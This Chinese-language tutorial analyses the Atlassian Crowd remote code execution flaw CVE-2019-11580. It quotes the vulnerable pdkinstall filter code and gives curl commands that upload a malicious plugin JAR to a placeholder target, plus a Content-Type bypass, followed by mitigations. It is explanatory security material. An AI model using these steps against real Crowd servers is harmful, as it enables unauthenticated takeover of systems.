CVE-2019-11580:Atlassian Crowd RCE
字数 1240 2025-08-27 12:33:37
Atlassian Crowd RCE漏洞(CVE-2019-11580)分析与利用教程
漏洞概述
CVE-2019-11580是Atlassian Crowd和Crowd数据中心版本中的一个高危远程代码执行漏洞。该漏洞源于系统错误地启用了pdkinstall开发插件,允许攻击者通过发送特制请求安装任意插件,从而在目标系统上执行任意代码。
漏洞影响
- 受影响产品:Atlassian Crowd和Crowd数据中心
- 漏洞类型:远程代码执行(RCE)
- 攻击复杂度:低
- 认证要求:无需认证
- CVSS评分:9.8 (Critical)
漏洞分析
漏洞根源
漏洞存在于pdkinstall插件中,该插件本应仅在开发环境中启用,但在发布版本中被错误保留。插件提供了以下关键端点:
/admin/uploadplugin.action- 用于上传和安装插件/admin/plugins.action- 用于管理插件
关键代码分析
插件描述文件
atlassian-plugin.xml文件定义了插件的关键组件:
<atlassian-plugin name="${project.name}" key="com.atlassian.pdkinstall" pluginsVersion="2">
<plugin-info>
<version>${project.version}</version>
<vendor name="Atlassian Software Systems Pty Ltd" url="http://www.atlassian.com"/>
</plugin-info>
<servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration">
<url-pattern>/admin/uploadplugin.action</url-pattern>
</servlet-filter>
<servlet-filter name="pdk manage" key="pdk-manage" class="com.atlassian.pdkinstall.PdkPluginsFilter" location="before-decoration">
<url-pattern>/admin/plugins.action</url-pattern>
</servlet-filter>
<servlet-context-listener key="fileCleanup" class="org.apache.commons.fileupload.servlet.FileCleanerCleanup" />
<component key="pluginInstaller" class="com.atlassian.pdkinstall.PluginInstaller" />
</atlassian-plugin>
PdkInstallFilter类分析
PdkInstallFilter类的doFilter方法是漏洞利用的关键:
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;
if (!req.getMethod().equalsIgnoreCase("post")){
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
return;
}
File tmp = null;
boolean isMultipart = ServletFileUpload.isMultipartContent(req);
if (isMultipart){
tmp = extractJar(req, res, tmp);
} else {
tmp = buildJarFromFiles(req);
}
if (tmp != null){
List<String> errors = new ArrayList<String>();
try {
errors.addAll(pluginInstaller.install(tmp));
} catch (Exception ex) {
log.error(ex);
errors.add(ex.getMessage());
}
tmp.delete();
if (errors.isEmpty()) {
res.setStatus(HttpServletResponse.SC_OK);
servletResponse.setContentType("text/plain");
servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
} else {
res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
servletResponse.setContentType("text/plain");
servletResponse.getWriter().println("Unable to install plugin:");
for (String err : errors) {
servletResponse.getWriter().println("\t - " + err);
}
}
servletResponse.getWriter().close();
return;
}
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");
}
extractJar方法分析
private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException {
ServletFileUpload upload = new ServletFileUpload(factory);
try {
List<FileItem> items = upload.parseRequest(req);
for (FileItem item : items) {
if (item.getFieldName().startsWith("file_") && !item.isFormField()) {
tmp = File.createTempFile("plugindev-", item.getName());
tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
item.write(tmp);
}
}
} catch (FileUploadException e) {
log.warn(e, e);
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
} catch (Exception e) {
log.warn(e, e);
res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
}
return tmp;
}
漏洞利用
利用条件
- 目标系统运行易受攻击的Atlassian Crowd或Crowd数据中心版本
pdkinstall插件已启用
利用步骤
第一步:验证漏洞存在
访问以下URL验证端点是否存在:
http://target-server/crowd/admin/uploadplugin.action
预期响应:400 Bad Request (表示端点存在)
第二步:准备恶意插件
- 创建一个简单的Atlassian插件项目
- 在插件中添加恶意代码(如执行系统命令的代码)
- 编译为JAR文件
示例恶意插件结构:
META-INF/
MANIFEST.MF
atlassian-plugin.xml
com/
example/
malicious/
MyPluginModule.class
第三步:上传插件
使用curl命令上传恶意插件:
curl -k -H "Content-Type: multipart/mixed" \
--form "file_cdl=@malicious-plugin.jar" \
http://target-server/crowd/admin/uploadplugin.action
成功响应:
Installed plugin /path/to/temp/file
第四步:触发恶意代码
根据插件实现方式,访问特定URL触发恶意代码执行。
绕过技巧
研究发现,当使用标准的multipart/form-data Content-Type时,upload.parseRequest(req)可能返回空数组。解决方法是将Content-Type改为multipart/mixed:
curl -k -H "Content-Type: multipart/mixed" \
--form "file_cdl=@malicious-plugin.jar" \
http://target-server/crowd/admin/uploadplugin.action
防御措施
- 升级:立即升级到Atlassian发布的安全版本
- 禁用插件:在生产环境中禁用
pdkinstall插件 - 访问控制:限制对Crowd管理界面的访问
- 网络隔离:将Crowd服务器放置在受保护的网络区域
- 监控:监控可疑的插件安装活动
总结
CVE-2019-11580是一个严重的远程代码执行漏洞,攻击者无需认证即可利用。漏洞根源在于开发插件被错误地保留在发布版本中,允许攻击者上传并执行任意代码。防御的关键是及时升级和严格的生产环境配置管理。
参考资源
- Atlassian官方安全公告
- pdkinstall插件源代码
- Atlassian SDK文档
- CVE-2019-11580漏洞详情